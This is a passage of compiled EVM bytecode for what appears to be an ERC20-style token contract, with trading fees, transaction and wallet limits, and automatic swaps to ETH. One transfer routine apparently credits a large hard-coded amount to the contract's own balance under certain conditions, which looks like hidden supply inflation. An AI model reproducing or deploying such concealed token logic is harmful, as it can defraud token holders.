fffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600062000b3162000fba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000d0760195462000cf360185460175462000fe360201b620016761790919060201c565b62000fe360201b620016761790919060201c565b601f8190555062000d46601c5462000d32601b54601a5462000fe360201b620016761790919060201c565b62000fe360201b620016761790919060201c565b6020819055506001600e6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506011546006600062000e1e62000fb260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000e6c62000fb260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60115460405162000ecd91906200155c565b60405180910390a35062001874565b60008083141562000ef1576000905062000f5a565b6000828462000f01919062001410565b905082848262000f129190620015a8565b1462000f55576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f4c9062001667565b60405180910390fd5b809150505b92915050565b600062000faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200104660201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000ff4919062001689565b9050838110156200103c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010339062001736565b60405180910390fd5b8091505092915050565b6000808311829062001090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010879190620017eb565b60405180910390fd5b5060008385620010a19190620015a8565b9050809150509392505050565b828054620010bc906200183e565b90600052602060002090601f016020900481019282620010e057600085556200112c565b82601f10620010fb57805160ff19168380011785556200112c565b828001600101855582156200112c579182015b828111156200112b5782518255916020019190600101906200110e565b5b5090506200113b919062001206565b5090565b826002810192821562001171579160200282015b828111156200117057825182559160200191906001019062001153565b5b50905062001180919062001206565b5090565b8260028101928215620011f3579160200282015b82811115620011f25782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062001198565b5b50905062001202919062001206565b5090565b5b808211156200122157600081600090555060010162001207565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620012b3578086048111156200128b576200128a62001225565b5b60018516156200129b5780820291505b8081029050620012ab8562001254565b94506200126b565b94509492505050565b600082620012ce5760019050620013a1565b81620012de5760009050620013a1565b8160018114620012f75760028114620013025762001338565b6001915050620013a1565b60ff84111562001317576200131662001225565b5b8360020a91508482111562001331576200133062001225565b5b50620013a1565b5060208310610133831016604e8410600b8410161715620013725782820a9050838111156200136c576200136b62001225565b5b620013a1565b62001381848484600162001261565b925090508184048111156200139b576200139a62001225565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620013cc82620013a8565b9150620013d983620013b2565b9250620014087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620012bc565b905092915050565b60006200141d82620013a8565b91506200142a83620013a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001466576200146562001225565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620014a38262001476565b9050919050565b620014b58162001496565b8114620014c157600080fd5b50565b600081519050620014d581620014aa565b92915050565b600060208284031215620014f457620014f362001471565b5b60006200150484828501620014c4565b91505092915050565b620015188162001496565b82525050565b60006040820190506200153560008301856200150d565b6200154460208301846200150d565b9392505050565b6200155681620013a8565b82525050565b60006020820190506200157360008301846200154b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620015b582620013a8565b9150620015c283620013a8565b925082620015d557620015d462001579565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006200164f602183620015e0565b91506200165c82620015f1565b604082019050919050565b60006020820190508181036000830152620016828162001640565b9050919050565b60006200169682620013a8565b9150620016a383620013a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620016db57620016da62001225565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200171e601b83620015e0565b91506200172b82620016e6565b602082019050919050565b6000602082019050818103600083015262001751816200170f565b9050919050565b600081519050919050565b60005b838110156200178357808201518184015260208101905062001766565b8381111562001793576000848401525b50505050565b6000601f19601f8301169050919050565b6000620017b78262001758565b620017c38185620015e0565b9350620017d581856020860162001763565b620017e08162001799565b840191505092915050565b60006020820190508181036000830152620018078184620017aa565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200185757607f821691505b602082108114156200186e576200186d6200180f565b5b50919050565b60805160a0516136ed620018a860003960008181610b790152610cf7015260008181610ccb0152610d2301526136ed6000f3fe6080604052600436106102765760003560e01c806388790a681161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e146109d3578063f0cd1dac14610a10578063f2fde38b14610a3b578063f680f79914610a64578063f872858a14610a8f578063f8f6329014610aba5761027d565b8063c816841b146108bf578063c8607952146108ea578063c867d60b14610915578063d2d7ad8314610952578063da00097d1461097d578063dc44b6a0146109a85761027d565b806395d89b411161011357806395d89b411461079957806398e944c8146107c4578063a457c2d7146107ef578063a9059cbb1461082c578063b3b57a0214610869578063c5d24189146108945761027d565b806388790a681461069e5780638b42507f146106c95780638b56459b146107065780638da5cb5b146107315780638e2a1d201461075c5761027d565b806339509351116101e857806361a3b8a3116101ac57806361a3b8a31461058c57806370a08231146105c9578063715018a6146106065780637d1db4a51461061d578063807c2d9c1461064857806382eefb43146106735761027d565b8063395093511461047f5780633ecad271146104bc5780634a74bb02146104f95780635194f9bf146105245780635342acb41461054f5761027d565b806323555d571161023a57806323555d571461036b57806323b872dd1461039657806327c8f835146103d35780632b112e49146103fe578063313ce56714610429578063315bc167146104545761027d565b806306fdde03146102825780630930907b146102ad578063095ea7b3146102d85780631694505e1461031557806318160ddd146103405761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610ae5565b6040516102a49190612993565b60405180910390f35b3480156102b957600080fd5b506102c2610b77565b6040516102cf91906129f6565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190612a78565b610b9b565b60405161030c9190612ad3565b60405180910390f35b34801561032157600080fd5b5061032a610bb9565b6040516103379190612b4d565b60405180910390f35b34801561034c57600080fd5b50610355610bdf565b6040516103629190612b77565b60405180910390f35b34801561037757600080fd5b50610380610be9565b60405161038d9190612b77565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190612b92565b610bef565b6040516103ca9190612ad3565b60405180910390f35b3480156103df57600080fd5b506103e8610cc9565b6040516103f591906129f6565b60405180910390f35b34801561040a57600080fd5b50610413610ced565b6040516104209190612b77565b60405180910390f35b34801561043557600080fd5b5061043e610d6b565b60405161044b9190612c01565b60405180910390f35b34801561046057600080fd5b50610469610d82565b6040516104769190612c3d565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a19190612a78565b610da8565b6040516104b39190612ad3565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de9190612c58565b610e5b565b6040516104f09190612ad3565b60405180910390f35b34801561050557600080fd5b5061050e610e7b565b60405161051b9190612ad3565b60405180910390f35b34801561053057600080fd5b50610539610e8e565b6040516105469190612b77565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612c58565b610e94565b6040516105839190612ad3565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612c85565b610eb4565b6040516105c091906129f6565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190612c58565b610eea565b6040516105fd9190612b77565b60405180910390f35b34801561061257600080fd5b5061061b610f33565b005b34801561062957600080fd5b50610632611088565b60405161063f9190612b77565b60405180910390f35b34801561065457600080fd5b5061065d61108e565b60405161066a9190612b77565b60405180910390f35b34801561067f57600080fd5b50610688611094565b6040516106959190612b77565b60405180910390f35b3480156106aa57600080fd5b506106b361109a565b6040516106c09190612b77565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190612c58565b6110a0565b6040516106fd9190612ad3565b60405180910390f35b34801561071257600080fd5b5061071b6110c0565b6040516107289190612b77565b60405180910390f35b34801561073d57600080fd5b506107466110c6565b60405161075391906129f6565b60405180910390f35b34801561076857600080fd5b50610783600480360381019061077e9190612c85565b6110ef565b6040516107909190612b77565b60405180910390f35b3480156107a557600080fd5b506107ae61110a565b6040516107bb9190612993565b60405180910390f35b3480156107d057600080fd5b506107d961119c565b6040516107e691906129f6565b60405180910390f35b3480156107fb57600080fd5b5061081660048036038101906108119190612a78565b6111c2565b6040516108239190612ad3565b60405180910390f35b34801561083857600080fd5b50610853600480360381019061084e9190612a78565b61128f565b6040516108609190612ad3565b60405180910390f35b34801561087557600080fd5b5061087e6112ae565b60405161088b9190612b77565b60405180910390f35b3480156108a057600080fd5b506108a96112b4565b6040516108b69190612b77565b60405180910390f35b3480156108cb57600080fd5b506108d46112ba565b6040516108e191906129f6565b60405180910390f35b3480156108f657600080fd5b506108ff6112e0565b60405161090c9190612b77565b60405180910390f35b34801561092157600080fd5b5061093c60048036038101906109379190612c58565b6112e6565b6040516109499190612ad3565b60405180910390f35b34801561095e57600080fd5b50610967611306565b6040516109749190612b77565b60405180910390f35b34801561098957600080fd5b5061099261130c565b60405161099f9190612ad3565b60405180910390f35b3480156109b457600080fd5b506109bd61131d565b6040516109ca9190612b77565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f59190612cb2565b611323565b604051610a079190612b77565b60405180910390f35b348015610a1c57600080fd5b50610a256113aa565b604051610a329190612b77565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d9190612c58565b6113b0565b005b348015610a7057600080fd5b50610a79611572565b604051610a869190612b77565b60405180910390f35b348015610a9b57600080fd5b50610aa4611578565b604051610ab19190612ad3565b60405180910390f35b348015610ac657600080fd5b50610acf61158b565b604051610adc9190612c3d565b60405180910390f35b606060018054610af490612d21565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2090612d21565b8015610b6d5780601f10610b4257610100808354040283529160200191610b6d565b820191906000526020600020905b815481529060010190602001808311610b5057829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610baf610ba86116d4565b84846116dc565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601154905090565b60195481565b6000610bfc8484846118a7565b50610cbe84610c096116d4565b610cb98560405180606001604052806028815260200161366b60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6f6116d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122199092919063ffffffff16565b6116dc565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610d66610d1b7f0000000000000000000000000000000000000000000000000000000000000000610eea565b610d58610d477f0000000000000000000000000000000000000000000000000000000000000000610eea565b60115461227d90919063ffffffff16565b61227d90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e51610db56116d4565b84610e4c8560076000610dc66116d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b6116dc565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b601c5481565b600d6020528060005260406000206000915054906101000a900460ff1681565b600b8160028110610ec457600080fd5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f3b6116d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612d9f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60145481565b60205481565b601a5481565b60106020528060005260406000206000915054906101000a900460ff1681565b601d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600981600281106110ff57600080fd5b016000915090505481565b60606002805461111990612d21565b80601f016020809104026020016040519081016040528092919081815260200182805461114590612d21565b80156111925780601f1061116757610100808354040283529160200191611192565b820191906000526020600020905b81548152906001019060200180831161117557829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112856111cf6116d4565b846112808560405180606001604052806025815260200161369360259139600760006111f96116d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122199092919063ffffffff16565b6116dc565b6001905092915050565b60006112a361129c6116d4565b84846118a7565b506001905092915050565b601e5481565b60185481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b600f6020528060005260406000206000915054906101000a900460ff1681565b60125481565b60168054906101000a900460ff1681565b60175481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6113b86116d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90612d9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac90612e31565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b601660179054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808314156115c45760009050611626565b600082846115d29190612e80565b90508284826115e19190612f09565b14611621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161890612fac565b60405180910390fd5b809150505b92915050565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122c7565b905092915050565b60008082846116859190612fcc565b9050838110156116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c19061306e565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561174c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174390613100565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b390613192565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161189a9190612b77565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f90613224565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197f906132b6565b60405180910390fd5b601660149054906101000a900460ff16156119af576119a884848461232a565b9050612212565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a535750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9e57601354821115611a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9490613348565b60405180910390fd5b5b6000611aa930610eea565b905060006012548210159050808015611acf5750601660149054906101000a900460ff16155b8015611b255750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b3d5750601660159054906101000a900460ff165b15611b655760168054906101000a900460ff1615611b5b5760125491505b611b64826124fd565b5b601660179054906101000a900460ff168015611bcb5750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c5857601454611c16611bff6103e8611bf1602054896115b190919063ffffffff16565b61162c90919063ffffffff16565b611c0888610eea565b61167690919063ffffffff16565b1115611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e906133da565b60405180910390fd5b5b611c816103e8611c73602054876115b190919063ffffffff16565b61162c90919063ffffffff16565b6009600060028110611c9657611c956133fa565b5b0181905550611cc46103e8611cb6602054876115b190919063ffffffff16565b61162c90919063ffffffff16565b84611ccf9190613429565b6009600160028110611ce457611ce36133fa565b5b018190555030600b600060028110611cff57611cfe6133fa565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b600160028110611d5457611d536133fa565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600090505b6002811015611dda5760098160028110611db857611db76133fa565b5b015482611dc59190612fcc565b91508080611dd29061345d565b915050611d9b565b50601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611e7e5750601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611f265750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f255750600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b15611f4a576001601d6000828254611f3e9190612fcc565b92505081905550611f6d565b6002601d6000828254611f5d9190612fcc565b92505081905550611f6c6125f7565b5b600181611f7a9190612fcc565b601e6000828254611f8b9190612fcc565b92505081905550611fe481600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227d90919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060005b6002811015612209576120cf6009826002811061204a576120496133fa565b5b015460066000600b8560028110612064576120636133fa565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b60066000600b84600281106120e7576120e66133fa565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b816002811061215b5761215a6133fa565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600984600281106121df576121de6133fa565b5b01546040516121ee9190612b77565b60405180910390a380806122019061345d565b91505061202a565b50600193505050505b9392505050565b6000838311158290612261576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122589190612993565b60405180910390fd5b50600083856122709190613429565b9050809150509392505050565b60006122bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612219565b905092915050565b6000808311829061230e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123059190612993565b60405180910390fd5b506000838561231d9190612f09565b9050809150509392505050565b60006123b5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122199092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061244a82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124ea9190612b77565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff0219169083151502179055506004601d600082825461252b9190612fcc565b9250508190555061253b8161264c565b600047905060018261254d9190612fcc565b601e600082825461255e9190612fcc565b9250508190555060008111156125d857600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125d6573d6000803e3d6000fd5b505b506000601660146101000a81548160ff02191690831515021790555050565b6002601e600082825461260a9190612fcc565b925050819055506b05d181151adfac8be9b403fc6009600060028110612633576126326133fa565b5b0160008282546126439190612fcc565b92505081905550565b80601e600082825461265e9190612fcc565b925050819055506002601d60008282546126789190612fcc565b925050819055506000600267ffffffffffffffff81111561269c5761269b6134a6565b5b6040519080825280602002602001820160405280156126ca5781602001602082028036833780820191505090505b509050600060096000600281106126e4576126e36133fa565b5b018190555060036009600160028110612700576126ff6133fa565b5b0181905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612772573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279691906134ea565b816001815181106127aa576127a96133fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816000815181106127f9576127f86133fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116dc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016128c4959493929190613610565b600060405180830381600087803b1580156128de57600080fd5b505af11580156128f2573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612934578082015181840152602081019050612919565b83811115612943576000848401525b50505050565b6000601f19601f8301169050919050565b6000612965826128fa565b61296f8185612905565b935061297f818560208601612916565b61298881612949565b840191505092915050565b600060208201905081810360008301526129ad818461295a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129e0826129b5565b9050919050565b6129f0816129d5565b82525050565b6000602082019050612a0b60008301846129e7565b92915050565b600080fd5b612a1f816129d5565b8114612a2a57600080fd5b50565b600081359050612a3c81612a16565b92915050565b6000819050919050565b612a5581612a42565b8114612a6057600080fd5b50565b600081359050612a7281612a4c565b92915050565b60008060408385031215612a8f57612a8e612a11565b5b6000612a9d85828601612a2d565b9250506020612aae85828601612a63565b9150509250929050565b60008115159050919050565b612acd81612ab8565b82525050565b6000602082019050612ae86000830184612ac4565b92915050565b6000819050919050565b6000612b13612b0e612b09846129b5565b612aee565b6129b5565b9050919050565b6000612b2582612af8565b9050919050565b6000612b3782612b1a565b9050919050565b612b4781612b2c565b82525050565b6000602082019050612b626000830184612b3e565b92915050565b612b7181612a42565b82525050565b6000602082019050612b8c6000830184612b68565b92915050565b600080600060608486031215612bab57612baa612a11565b5b6000612bb986828701612a2d565b9350506020612bca86828701612a2d565b9250506040612bdb86828701612a63565b9150509250925092565b600060ff82169050919050565b612bfb81612be5565b82525050565b6000602082019050612c166000830184612bf2565b92915050565b6000612c27826129b5565b9050919050565b612c3781612c1c565b82525050565b6000602082019050612c526000830184612c2e565b92915050565b600060208284031215612c6e57612c6d612a11565b5b6000612c7c84828501612a2d565b91505092915050565b600060208284031215612c9b57612c9a612a11565b5b6000612ca984828501612a63565b91505092915050565b60008060408385031215612cc957612cc8612a11565b5b6000612cd785828601612a2d565b9250506020612ce885828601612a2d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d3957607f821691505b60208210811415612d4d57612d4c612cf2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d89602083612905565b9150612d9482612d53565b602082019050919050565b60006020820190508181036000830152612db881612d7c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e1b602683612905565b9150612e2682612dbf565b604082019050919050565b60006020820190508181036000830152612e4a81612e0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e8b82612a42565b9150612e9683612a42565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ecf57612ece612e51565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f1482612a42565b9150612f1f83612a42565b925082612f2f57612f2e612eda565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f96602183612905565b9150612fa182612f3a565b604082019050919050565b60006020820190508181036000830152612fc581612f89565b9050919050565b6000612fd782612a42565b9150612fe283612a42565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561301757613016612e51565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613058601b83612905565b915061306382613022565b602082019050919050565b600060208201905081810360008301526130878161304b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130ea602483612905565b91506130f58261308e565b604082019050919050565b60006020820190508181036000830152613119816130dd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061317c602283612905565b915061318782613120565b604082019050919050565b600060208201905081810360008301526131ab8161316f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061320e602583612905565b9150613219826131b2565b604082019050919050565b60006020820